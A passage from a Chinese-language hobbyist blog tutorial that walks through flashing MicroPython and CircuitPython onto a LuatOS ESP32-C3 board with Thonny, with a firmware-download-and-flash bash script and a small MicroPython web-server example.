<div><a href="https://photos.google.com/share/AF1QipMmtk8Zo-aTjsMVXid39EIWeU3i2QsG39anaPr4UM3lfBNLr34ep_hA-hRvWBzZCA/photo/AF1QipNP1DfMzLoPiU3HsXnTzqWb5_tMWLXKB695UU4x?key=QktkWjA1a0FmV2JweDZKanVFeGNQUjVJc0V5dk5n"><img alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-IUQdFtzA1NQ/ZM_UqQW6n5I/AAAAAAADEes/Hi3pXsV4c-MmiDzrVM8og3HYSS10uezuQCEwYBhgLKv0FAJ71wJ3YShL28NmUdgac-5XwVjqHnSOieTSRAfHjowQYia7dYk6H8VpGN3XUOEeCtVQn-b9so6Yy90Wjb7AVyGNFp9-5l5kV9osfengq_qF6wNqg2bsVsLMUaKiAVTT1PCr1RDmbdEEtq1_MOKg9CqLHwXjk_WBWEyJuBrk2VmrEhGS-Y0vQ-Oj3yAWt_bh77P5mzd8otOfcwCU5aGSARhUGpxNS34y0dnTAlQBeQEot_pXOAPR0tb05idLQBOc1zUKDosVhAlzYbmAceXreBb-J95geL-6_6iKg8LzprR-iZM91GJG7l-EvEi6gwZlHdk7t1ubJFzbgoFepuetCCj4m4G-HWphgjERsGSuMwxe0NWNgUyklrTBnKUCfm73C-sVwInuw3mUM5hv0HNFYrVXxO7YtsoNiL8j9gV1aLYoi2OqsaH4uPg0GudpKQCGR1VoyocrNBSNaMrQ2MQmQRVMlYqxmR5N-OjnA6ff2edrD4KHp31J8snWmwElkzVFG6BW5s9dPguUQ24P7jrcY_k1Tx94M9hLd2TMPxqJzcZwuqLBOze8GThakVicSvuT2ia1BbQ16CVCSeC8cPQDh65LeMwmAOSOK_-I4_N7FzHkm0khBRquaI-KHxjTQP8kVpoQqN5hskbkAZQjStPC4s3cvf8eVA5SVS23bPXrzD8ixD8wYAX4QMM0bskmtdXL03K9Dap0M-Mw4eL_ksgd92602dVol4LHZbJcWeWujxH41kfAu8ZFMUVkz0p1X6Q9-oSnYsEP4Ik0UdlUQ0rC9NNXNXX0PSPFHNEm9Kxm_NKAxneA7j5rF_Vwfdp-Y_OVavVq0XlCEpslPG6YgUG-DOI_XdxgnrPcT4OPcpo2GmHnHdDy91T-QzrgEj4gDmrF-GxFlHm91a3z7J88tpZuploe7sRPn-XHPOg-NytPQXvJv6Vs7NhT23t3XPKy7JNlG7SK7U2daDp6ol_o_NcRM65cDmKGqK8E6CIS9oUULWP4C_KXonzlAL-CRWWKlMOq0v6YG/w600/luatos-esp32-c3-025.jpg"/></a></div>
<div>可以使用 Boot按鈕 作為互動操作</div>
<br/>
<a name="使用MicroPython"></a><h4 class="mra-h4">使用 MicroPython</h4>
<div>與 Raspberry Pi Pico 相同,除了能夠使用 Arduino 編寫及製作 Sketch 外<br/>
亦可以使用 Thonny 以 MicroPython 編寫及製作程式</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNdutCh4oyJAj5npzBUIsfzJ-YOK3p--OKWa-bvZ_LTCqTMEH1sGGaPJ0zzlRQfH3brUszZTfTEUdibgLwANqAeiRCjg23BT16jwQbpK6gY7udXzqOeYFr3YhJ8bI6j7HQoLh6vgpC1Zh-wVcmadsgPGE5nxyL6NeLceIHTiRqT5E5nJHFT_vsbFK2O-Y/w0/luatos-esp32-c3-028.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNdutCh4oyJAj5npzBUIsfzJ-YOK3p--OKWa-bvZ_LTCqTMEH1sGGaPJ0zzlRQfH3brUszZTfTEUdibgLwANqAeiRCjg23BT16jwQbpK6gY7udXzqOeYFr3YhJ8bI6j7HQoLh6vgpC1Zh-wVcmadsgPGE5nxyL6NeLceIHTiRqT5E5nJHFT_vsbFK2O-Y/w600/luatos-esp32-c3-028.png"/></a></div>
<div>使用 <span class="mra-highlighter">Thonny</span> ,到 <span class="mra-highlighter">Run</span> > <span class="mra-highlighter">Configure Interpreter...</span>
<ul>
<li>Which kind of interpreter should Thonny use for running your code? 選擇 <span class="mra-highlighter">MicroPython (ESP32)</span></li>
<li>Port or WebREPL 選擇對應 LuatOS ESP32-C3 的 連接埠</li>
</ul>
然後按 <span class="mra-highlighter">Install or update MicroPython (esptool)</span>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1mi5d8uj171pC_e5lsxW1d7xDMsbcVbnSOgLdS2Hqxnxlv4v-Z1tdzLft_fYOyQ3tKwMyIEKzYlQwPbauFWvMvnEQnMaufY1fHy12fyt9im-QpZy4pEHBSiG7fgwUpDtFTCkrli162rLkBD5sN6vtlvkQkiLJyXybK6uap7DZIBZL9AKymZ9TCoj0O6M/w0/luatos-esp32-c3-029.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1mi5d8uj171pC_e5lsxW1d7xDMsbcVbnSOgLdS2Hqxnxlv4v-Z1tdzLft_fYOyQ3tKwMyIEKzYlQwPbauFWvMvnEQnMaufY1fHy12fyt9im-QpZy4pEHBSiG7fgwUpDtFTCkrli162rLkBD5sN6vtlvkQkiLJyXybK6uap7DZIBZL9AKymZ9TCoj0O6M/w600/luatos-esp32-c3-029.png"/></a></div>
<div>先到更多選擇的圖示,按 <span class="mra-highlighter">Show install options<span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxB2C0YrrSgdhmcWzzlHKrYQ-4TZ6FRbHAWGfKPmcHOVoUCuwA6k4XlUusDanw4PAq3MapJ97pHAfiijDBPRGVMECbrhpcCxlXrN_qV8q920IVaEWhgirknCWklkdIPJxhfZdv5-B-GGvFL13J_-YqkBLxU0x04nJvVRE9v56llejig9m_TRUnQRepjRM/w0/luatos-esp32-c3-030.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxB2C0YrrSgdhmcWzzlHKrYQ-4TZ6FRbHAWGfKPmcHOVoUCuwA6k4XlUusDanw4PAq3MapJ97pHAfiijDBPRGVMECbrhpcCxlXrN_qV8q920IVaEWhgirknCWklkdIPJxhfZdv5-B-GGvFL13J_-YqkBLxU0x04nJvVRE9v56llejig9m_TRUnQRepjRM/w600/luatos-esp32-c3-030.png"/></a></div>
<div>然後將:
<ul>
<li>Target Port 選擇 <span class="mra-highlighter">LuatOS ESP32-C3 的連接埠</span></li>
<li>MicroPython family 選擇 <span class="mra-highlighter">ESP32-C3</span></li>
<li>variant 選擇 <span class="mra-highlighter">Espressif . ESP32-C3</span></li>
<li>version 按需要選擇版本,在下使用當時最新穩定版本</li>
<li>Target address 選擇 <span class="mra-highlighter">0x0 (for MicroPython on ESP8266, ESP32-S3 and ESP32-C3)</span></li>
<li>Install speed 選擇 <span class="mra-highlighter">460800 (supported by some board)</span> 如果不支援,請改用 <span class="mra-highlighter">115200 (default)</span></li>
<li>Flash mode 選擇 <span class="mra-highlighter">dio (next to try if 'keep' doesn't give working result)</span></li>
<li>Flash size 根據裝置的快閃記憶體而選擇<br/>
由於在下的 LuatOS ESP32-C3 使用 32Mb快閃記憶體 ,即是 4MB ,因此選擇 4MB</li>
</ul>
選擇正確後,便可以按 <span class="mra-highlighter">Install</span></div>
<br/>
<div>在下亦製作指令安裝方法</div>
<pre class="brush:bash">#!/bin/bash
ESPTOOL="/path/of/esptool.py" # change to your esptool path
PORT="/dev/ttyACM0" # change to your ESP32-C3 board port
CHIP="esp32c3"
BUAD="115200" # default speed, your can change to 230400, 460800
BEFORE="default_reset"
AFTER="hard_reset"
MODE="dio"
SIZE="4MB" # change to your ESP32-C3 size
OFFSET="0x0"
FILE="/tmp/firmware"
# uncomment if the same
#ESPTOOL="${HOME}/.arduino*/packages/esp32/tools/esptool_py/*/esptool.py"
wget `curl -sL --request "GET" "https://micropython.org/download/esp32c3/" | grep 'v\([0-9]\+\.\)\+bin"' | sed -r 's/.*"([^"]+)".*/https:\/\/micropython\.org\/\1/g' | sort | tail -1` -O "${FILE}"
python3 $ESPTOOL --port "${PORT}" --chip "${CHIP}" --baud "${BUAD}" --before "${BEFORE}" --after "${AFTER}" write_flash --flash_mode "${MODE}" --flash_size "${SIZE}" --erase-all "${OFFSET}" "${FILE}"
rm "${FILE}"</pre>
<div>要使用 esptool 除了到官方下陣或安裝由 Linux發行版 提供版本外<br/>
亦可以使用從 Arduino 的 Boards Manager 中安裝亦可<br/>
通常路徑是 <span class="mra-highlighter">${HOME}/.arduino<arduino version>/packages/esp32/tools/esptool_py/<esptool version>/esptool.py</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOqgTfj3fxu3PYMX2Rva7LaX7mXr5zi08pF4KDOiRyef9dS2YAtTR9lmeox4vNf7eroJW8d4hC_G-CPmO_Q3CVFnIU8PLUmRP-XtT6YTf54mvmtBlQtJfoQ1rN42WKluKYumCRGz8QeeYUyfKiU_gV165xBO78g3jmldcfBULv9SOoVBFR1xGtxhc5-dE/w0/luatos-esp32-c3-031.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOqgTfj3fxu3PYMX2Rva7LaX7mXr5zi08pF4KDOiRyef9dS2YAtTR9lmeox4vNf7eroJW8d4hC_G-CPmO_Q3CVFnIU8PLUmRP-XtT6YTf54mvmtBlQtJfoQ1rN42WKluKYumCRGz8QeeYUyfKiU_gV165xBO78g3jmldcfBULv9SOoVBFR1xGtxhc5-dE/w600/luatos-esp32-c3-031.png"/></a></div>
<div>Thonny 會自動下載及安裝 MicroPython 到 </div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUoZ-HNH64INKCBCLy8AtSuZ0k4kTyA82EE37bKX0RhiGwt_HCml9EEaV2al3E5e3zoY-_YK2w3QRHDZ2ot4wOWzJcAKNv4Wqr46zXXgTfsrpTfqUThlGk2bEr2KxWhL9ic0HxeiwD6m6NJsI6DlNkXpMfp2XqLrQnWVmDC143IR3yxnn6jBgLmVQxRd8/w0/luatos-esp32-c3-032.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUoZ-HNH64INKCBCLy8AtSuZ0k4kTyA82EE37bKX0RhiGwt_HCml9EEaV2al3E5e3zoY-_YK2w3QRHDZ2ot4wOWzJcAKNv4Wqr46zXXgTfsrpTfqUThlGk2bEr2KxWhL9ic0HxeiwD6m6NJsI6DlNkXpMfp2XqLrQnWVmDC143IR3yxnn6jBgLmVQxRd8/w600/luatos-esp32-c3-032.png"/></a></div>
<div>安裝後按 Close 關閉安裝頁面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRP8sfbqLn1AEtSAS4OQYxVStH1G1iQerjEcAFiPb7kD_FByrrG_8vw0jx4GAK38f0rDJsaP5HbgIiN_VuBkoRMaUjq18eWkdxKenqkKsLIGCsu2NCMFLgdlwttXYJel1Do4Ri0tU7_0O1n9O5oYUhndCEan9U6Dch5Xfs37QOPgDKojaDNyIM9lSMvwk/w0/luatos-esp32-c3-033.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRP8sfbqLn1AEtSAS4OQYxVStH1G1iQerjEcAFiPb7kD_FByrrG_8vw0jx4GAK38f0rDJsaP5HbgIiN_VuBkoRMaUjq18eWkdxKenqkKsLIGCsu2NCMFLgdlwttXYJel1Do4Ri0tU7_0O1n9O5oYUhndCEan9U6Dch5Xfs37QOPgDKojaDNyIM9lSMvwk/w600/luatos-esp32-c3-033.png"/></a></div>
<div>當 MicroPython 安裝到 LuatOS ESP32-C3 後, Thonny 的終端會顯示可以輸入指令</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtbQVjB_a0M9KVAwEpXdqWYyy39hfjksJGRn_6rOEGaZLwLzmrwKhsoNbaXyGBJVy83C-HOGxf9HhtKSuC7Q5ZJn2L4yWBWuydz1yo3VCxjXNYhCxukMu885aO-KTxvLzs1PulSpJ8U6Idj7V5RMQXsbbFlRAbIL8zB5fnfxzR_4wZwb75ynVZ_TpGqDQ/w0/luatos-esp32-c3-034.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtbQVjB_a0M9KVAwEpXdqWYyy39hfjksJGRn_6rOEGaZLwLzmrwKhsoNbaXyGBJVy83C-HOGxf9HhtKSuC7Q5ZJn2L4yWBWuydz1yo3VCxjXNYhCxukMu885aO-KTxvLzs1PulSpJ8U6Idj7V5RMQXsbbFlRAbIL8zB5fnfxzR_4wZwb75ynVZ_TpGqDQ/w600/luatos-esp32-c3-034.png"/></a></div>
<div>使用方法與 Raspberry Pi Pico 運行 MicroPython 完全相同</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2BODUqN77dvKoC3jlJipFD_ecppY8Daa_Ik7Z9h17J89LcEbAh1ysD5LMsDe_LoAVmoBgsOcm8aXrpOiwOEqcnvjj7rl_DuTSGFDuO4D2xsE8ezYWfXhLJzdx9CrrNU9dsllEII_JHZHhdUuHgyzXeFA76Px0OWvI8X9Tp3Rr1S291whC2ENB1zkG8-U/w0/luatos-esp32-c3-046.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2BODUqN77dvKoC3jlJipFD_ecppY8Daa_Ik7Z9h17J89LcEbAh1ysD5LMsDe_LoAVmoBgsOcm8aXrpOiwOEqcnvjj7rl_DuTSGFDuO4D2xsE8ezYWfXhLJzdx9CrrNU9dsllEII_JHZHhdUuHgyzXeFA76Px0OWvI8X9Tp3Rr1S291whC2ENB1zkG8-U/w600/luatos-esp32-c3-046.png"/></a></div>
<div>在下曾經在 Raspberry Pi Pico W 使用 Arduino 建立網頁伺服器<br/>
但在下今次改以 MicroPython 建立網頁達至相同效果</div>
<pre class="brush:python">import machine, time, socket, network, wifi_config
# connect wifi
wlan = network.WLAN(network.STA_IF)
wlan.active(True)
wlan.disconnect()
wlan.connect(wifi_config.ssid, wifi_config.password)
while not wlan.isconnected():
time.sleep(0.1)
print(wlan.ifconfig())
# create http server
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 80))
server.listen(1)
# waiting client
while True:
client, address = server.accept()
print(address)
request = client.recv(4096).decode("UTF-8")
print(request)
response = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\nhello, world"
client.send(response.encode("UTF-8"))
client.close()</pre>
<div>網頁伺服器運作後,會顯示 4組 的資料,分別是:
<ol type="1" start="1">
<li>IP地址</li>
<li>網絡遮罩</li>
<li>廣播地址</li>
<li>DNS地址</li>
</ol>
獲取 IP地址 後,便可以使用網頁瀏覽器測試</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd8OBshdYTus8KQ98vkatyg08Xm28e4qhaNd9E-VhRhAreeTcbRDuDMXWmNCxMug3HZP2sOJ8quAIUOcAq8c1Tx0UAycf5_xkX1lleKZxPLjCvaaTOTfgtQ6YiShlJMtsG915Pw-sd-SL3pHIITsmBXN1U3NSqNg1ssA9IpWnbzx4aiKMILw-KnSZ8epE/w0/luatos-esp32-c3-047.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd8OBshdYTus8KQ98vkatyg08Xm28e4qhaNd9E-VhRhAreeTcbRDuDMXWmNCxMug3HZP2sOJ8quAIUOcAq8c1Tx0UAycf5_xkX1lleKZxPLjCvaaTOTfgtQ6YiShlJMtsG915Pw-sd-SL3pHIITsmBXN1U3NSqNg1ssA9IpWnbzx4aiKMILw-KnSZ8epE/w600/luatos-esp32-c3-047.png"/></a></div>
<div>能夠連接到 LautOS ESP32-C3 的網頁伺服器</div>
<br/>
<div><a href="https://photos.google.com/share/AF1QipMmtk8Zo-aTjsMVXid39EIWeU3i2QsG39anaPr4UM3lfBNLr34ep_hA-hRvWBzZCA/photo/AF1QipNg7aCPuuGxEEnRhUlj4uzzBRq1kxA3S_tAXP83?key=QktkWjA1a0FmV2JweDZKanVFeGNQUjVJc0V5dk5n"><img alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-2tL5HkhxJzg/ZNtDGBZC4CI/AAAAAAADEqk/6i9DVta06jwop-0HFhM2j-u7H3c5_qWYwCEwYBhgLKpEFAJ71wJ0g1rT3FZno2EayK3hEhKwgyXju5VckwSpOQhLn3OprsrOsYyRHRXtG7E3ClMYgysf0J9Gy86j5nATJZ7yqNWuGsH6eGroiGYG9gS6wl1odeK4NFeFvYA1c-9MnZsOKKPGvxaG7OoxDWuj-TfPwnyea21LNkJs9R87izY6U4smfHvh6-sScWdK3U-ubG5zoBU_DANiK4OFBOSGZf_eztZXbiYVwWy4vDSLBRYs7WDYOl0H8W90YbFXhMGWeuJiA5Arg621H5wpYUz8x_Icp48oVPKJwAkOYmBL_yTy3CUAg10g2s1ZZqFZd2IcPW0ZrtC1i2EWihx-7GhLAlDtdn9PnI5WMhPEAmIJmcMKj71myTDKk_lGTXFKM9m2kcFMiukbq-CNwnks5gWdEsFB5vHbMZW_CnyKJtyG55l6Op5a6_kuCDoU9ts533NtEQ8gCX0KeLaJH_iWGQapWK2DSlV2Gi4_ONtK8Vl-z063bBXgLBIXBfgAmwHFn-ZwYJ3bsgOTXNbU71p2U4KiRQ_RtDgFpg1u_mqtQ8CbOmRCisd-A3LZ1I9ayjhqq33DrkS8rIcK0d246FqJb_xMKtIGVIcjH9zd0kVUPKNft8VVW5Mn0zMOln9GOydJ75d5PctNPSzT5jNJzUS_5qlHw0dKY3J0sqBXg5Q12DjZBEIFkWAJRhnomV9iig_t9Nsp6vkdwF5p4FCEkwySiJNsaL4mIJMsQCcKRM8j6m_bEXn3mmZ-FGqiaezSU57u0XM0QQCr_RFIG2t1jMNF6hDB9E41v37r-sHIdrjjruVvKy026c3WXU79EN-9O5fEe_3u86yPZqI6nmXT5HLbx6M7w4A24aJwhxDjNrRbj6qWXOq3SMPCc7aYG/w600/luatos-esp32-c3-048.mp4"/></a></div>
<div>test</div>
<br/>
<a name="使用CircuitPython"></a><h4 class="mra-h4">使用 CircuitPython</h4>
<div>既然能夠使用 MicroPython , CircuitPython 都可行</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik-90744y2-pFbJZtc8_dIxIxDyAV7afD2DwD_F1nV8khx4F6OPktdSPgMhGJym_MxUxOAALgExu-If5Vm7vQ-Nz5vxLI092jW3CVoJnrPPKFc-sJLAmAEZa4B5WV4y1FPDoqZrCdzfM-xFlSi4PRSBKNyrWwbtRRo0HO0fN-5DhoiYYPvTGAc6RPgFwk/w0/luatos-esp32-c3-035.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik-90744y2-pFbJZtc8_dIxIxDyAV7afD2DwD_F1nV8khx4F6OPktdSPgMhGJym_MxUxOAALgExu-If5Vm7vQ-Nz5vxLI092jW3CVoJnrPPKFc-sJLAmAEZa4B5WV4y1FPDoqZrCdzfM-xFlSi4PRSBKNyrWwbtRRo0HO0fN-5DhoiYYPvTGAc6RPgFwk/w600/luatos-esp32-c3-035.png"/></a></div>
<div>Thonny 同樣有提供安裝 CircuitPython 的程序,但沒有區分不同微控制器的類型<br/>
因此選擇 CircuitPython (generic) ,然後按 (esptool)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQUr0tWGeQ8tD9AgvAnoBfDlbLQWPT70CWIYrD1sfafEGerUy_PbK6fbUUKvDCxUlaaN6rOgzOBdwN-5ZPy_K7aBIGscXKMkQAhUeX23EUtQ7apXraLqzKNXUKR0XHPadcWe6Wq9ir0M6DtG4g7BMMcijfZNspeY8wxB0CzHu7sL530Qz9XQpvamR4It0/w0/luatos-esp32-c3-036.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQUr0tWGeQ8tD9AgvAnoBfDlbLQWPT70CWIYrD1sfafEGerUy_PbK6fbUUKvDCxUlaaN6rOgzOBdwN-5ZPy_K7aBIGscXKMkQAhUeX23EUtQ7apXraLqzKNXUKR0XHPadcWe6Wq9ir0M6DtG4g7BMMcijfZNspeY8wxB0CzHu7sL530Qz9XQpvamR4It0/w600/luatos-esp32-c3-036.png"/></a></div>
<div>然後將:
<ul>
<li>Target Port 選擇 <span class="mra-highlighter">LuatOS ESP32-C3 的連接埠</span></li>
<li>CircuitPython family 選擇 <span class="mra-highlighter">ESP32-C3</span></li>
<li>variant 選擇 <span class="mra-highlighter">LuatOS . Core ESP32C3</span></li>
<li>version 按需要選擇版本,在下使用當時最近版本,即是 8.2.2</li>
<li>Target address 選擇 與 MicroPython 的項目即可</li>
<li>Install speed 選擇 與 MicroPython 的項目即可</li>
<li>Flash mode 選擇 與 MicroPython 的項目即可</li>
<li>Flash size 選擇 與 MicroPython 的項目即可</li>
</ul>
選擇正確後,便可以按 Install</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfBb9uubKW7O6t1cdC0nmxUXx8Mzb0fzTmF9ZIIGz32Bb_syjLhLob-aP9V-i-9q7dqbtWSQZ6HUxkmzxm-j5b7JC-xgDHkJcnREhdO6mYhbQA8lphCqo5WzuiLMGS0KLMnTDxXPmHx5_C0hcx2LZL0-sZJyWDihEOOfzS2bhdC0NTqLFdVQTHdo20tws/w0/luatos-esp32-c3-037.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfBb9uubKW7O6t1cdC0nmxUXx8Mzb0fzTmF9ZIIGz32Bb_syjLhLob-aP9V-i-9q7dqbtWSQZ6HUxkmzxm-j5b7JC-xgDHkJcnREhdO6mYhbQA8lphCqo5WzuiLMGS0KLMnTDxXPmHx5_C0hcx2LZL0-sZJyWDihEOOfzS2bhdC0NTqLFdVQTHdo20tws/w600/luatos-esp32-c3-037.png"/></a></div>
<div>等待下載及安裝 CircuitPython 到 LuatOS ESP32-C3</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSVj3yXGAJBIdSimVauwmxbInyOI7wBiJacjKWwVHUpwF3yl9aYKaQ_Vscgbc6smnMjk1dnIaOvU8a434NAy0jNTwYUqYoGJeggS08fRI0XDSdPYBbyZ5-gTztAnAqs2DScfiL89XccLgvwt-2PBMQzCU2d5FxY-1_xvctR8MuRlJv79Wq9x7OKQb_Rhs/w0/luatos-esp32-c3-038.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSVj3yXGAJBIdSimVauwmxbInyOI7wBiJacjKWwVHUpwF3yl9aYKaQ_Vscgbc6smnMjk1dnIaOvU8a434NAy0jNTwYUqYoGJeggS08fRI0XDSdPYBbyZ5-gTztAnAqs2DScfiL89XccLgvwt-2PBMQzCU2d5FxY-1_xvctR8MuRlJv79Wq9x7OKQb_Rhs/w600/luatos-esp32-c3-038.png"/></a></div>
<div>但安裝後卻無法正確運作</div>
<br/>
<div>在下懷疑是 CircuitPython 的版本太新導致無法正確運作,因此尋找舊版本的 CircuitPython<br/>
在 <a href="https://adafruit-circuit-python.s3.amazonaws.com/index.html?prefix=bin/luatos_core_esp32c3_ch343/en_US/">Adafruit 官方網站的 Amazon Web Services 頁面</a>,找到 LuatOS ESP32-C3 另一個版本的 CircuitPython<br/>
先前介紹 LautOS ESP32-C3 的外觀時,有一粒 CH343晶片 ,因此在下嘗試安裝 <span class="mra-highlighter">LuatOS ESP32-C3 的 CH343版本</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_9N8y85xOof1-pN9adiva9ADF1SW2-9TTsh4LssJA1E_GL5ojPT4F8o4YleiWFsFuiMJmr8Iap3By69WgltvF5iI41_NTequAY1LxXprljeQa3oJqrugSH16X0uY9_4t_FeT_tL5zu9sK7MGtyBiKX73Vgcq0rAMnLlcEFl-Q1QlTB_iMSY63ige3EPY/w0/luatos-esp32-c3-042.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_9N8y85xOof1-pN9adiva9ADF1SW2-9TTsh4LssJA1E_GL5ojPT4F8o4YleiWFsFuiMJmr8Iap3By69WgltvF5iI41_NTequAY1LxXprljeQa3oJqrugSH16X0uY9_4t_FeT_tL5zu9sK7MGtyBiKX73Vgcq0rAMnLlcEFl-Q1QlTB_iMSY63ige3EPY/w600/luatos-esp32-c3-042.png"/></a></div>
<div>在更多選項中,按 <span class="mra-highlighter">Select local MicroPython image ...</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoWcgY1Tj0tFki3Zb5MeBQTyGR5i49b6adlg60YtVcwM5sUm_QZnbckPMx2syZAU3oT8d3idmYMM04nSVpD9J-Y_OANs4I4f9br3tA3l6GzhSDhBeBPo4piFiq8y9zqYwBJcvtEB-LpKUng-RUEwUCRxDChjoxSvoRrl33ueeAxGarhcbx03uMmga_dY4/w0/luatos-esp32-c3-043.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoWcgY1Tj0tFki3Zb5MeBQTyGR5i49b6adlg60YtVcwM5sUm_QZnbckPMx2syZAU3oT8d3idmYMM04nSVpD9J-Y_OANs4I4f9br3tA3l6GzhSDhBeBPo4piFiq8y9zqYwBJcvtEB-LpKUng-RUEwUCRxDChjoxSvoRrl33ueeAxGarhcbx03uMmga_dY4/w600/luatos-esp32-c3-043.png"/></a></div>
<div>選擇支援 CH343 的 LuatOS ESP32-C3 的 CircuitPython</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ5ZsL627D1Gkmt82DEA-lm7m-Ka0XDyGJT8boq1M-zF0386hlzZQjguRwzCcfkj6xHGTBGvlziQgagVX7Nk3aETioEumSRc8LYLX58wFJWrte-Pt0UPMHA1-D5SkqjY4kkc26EvEDfvjjBZMxzrgloHcFPcP1F6Ta4blMXUbH6wwm-o1_q1ia-f1Xhpw/w0/luatos-esp32-c3-044.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ5ZsL627D1Gkmt82DEA-lm7m-Ka0XDyGJT8boq1M-zF0386hlzZQjguRwzCcfkj6xHGTBGvlziQgagVX7Nk3aETioEumSRc8LYLX58wFJWrte-Pt0UPMHA1-D5SkqjY4kkc26EvEDfvjjBZMxzrgloHcFPcP1F6Ta4blMXUbH6wwm-o1_q1ia-f1Xhpw/w600/luatos-esp32-c3-044.png"/></a></div>
<div>與之前的設定相同,並等待安裝</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSEp4IawSXHmlMk2_fgJnL06Sr6JqgpKuoi_R0OqPHi9Nwb9RKilKp-Eqko9epSfyGxcH1EXnS8tJazYLrY4t9tSQcgdQPt6kXBIJdmfLvbbmi76DnzGI1vahB-RUtbhfEJz2nOiO_FeDm5BT6HVJih7v8nV-JATFYuvQGCRFiWt33R2WD0bTYA5vWaas/w0/luatos-esp32-c3-045.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSEp4IawSXHmlMk2_fgJnL06Sr6JqgpKuoi_R0OqPHi9Nwb9RKilKp-Eqko9epSfyGxcH1EXnS8tJazYLrY4t9tSQcgdQPt6kXBIJdmfLvbbmi76DnzGI1vahB-RUtbhfEJz2nOiO_FeDm5BT6HVJih7v8nV-JATFYuvQGCRFiWt33R2WD0bTYA5vWaas/w600/luatos-esp32-c3-045.png"/></a></div>
<div>完成後,終於能夠在 LuatOS ESP32-C3 使用 CircuitPython</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb4wLStBT5MNohNQGm3v7oWRlR6JI8RaYSAV7oCFWAuKJ7i-n5Icl0ji37T4rqzY5YA7EWLLxLbMVym3uHBOA34mfC12-hewEcqZO-LCIghhDjMpo3C9R_9t4bu16mlFLqjz5aCNeiQ1QvSZCTlVOca5I-MH3ZmXyC2lHAhPykWEMHRoIxvSNRcq_WCdo/w0/luatos-esp32-c3-039.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb4wLStBT5MNohNQGm3v7oWRlR6JI8RaYSAV7oCFWAuKJ7i-n5Icl0ji37T4rqzY5YA7EWLLxLbMVym3uHBOA34mfC12-hewEcqZO-LCIghhDjMpo3C9R_9t4bu16mlFLqjz5aCNeiQ1QvSZCTlVOca5I-MH3ZmXyC2lHAhPykWEMHRoIxvSNRcq_WCdo/w600/luatos-esp32-c3-039.png"/></a></div><!--
<div>由於 Thonny 沒有提供支援 LuatOS ESP32-C3 CH343 的 CircuitPython ,因此需要手動安裝</div>
<br/>
<div>但使用 Thonny 提供的 CircuitPython 卻無法在 LuatOS ESP32-C3 使用<br/>
即使寫入 韌體(Firmware) 即顯示錯誤</div>
<br/>
<div>在下到 <a href="https://circuitpython.org/board/luatos_core_esp32c3/">CircuitPython 的 LuatOS ESP32-C3 官方網頁</a>,不論使用官方提供的 bin檔案<br/>
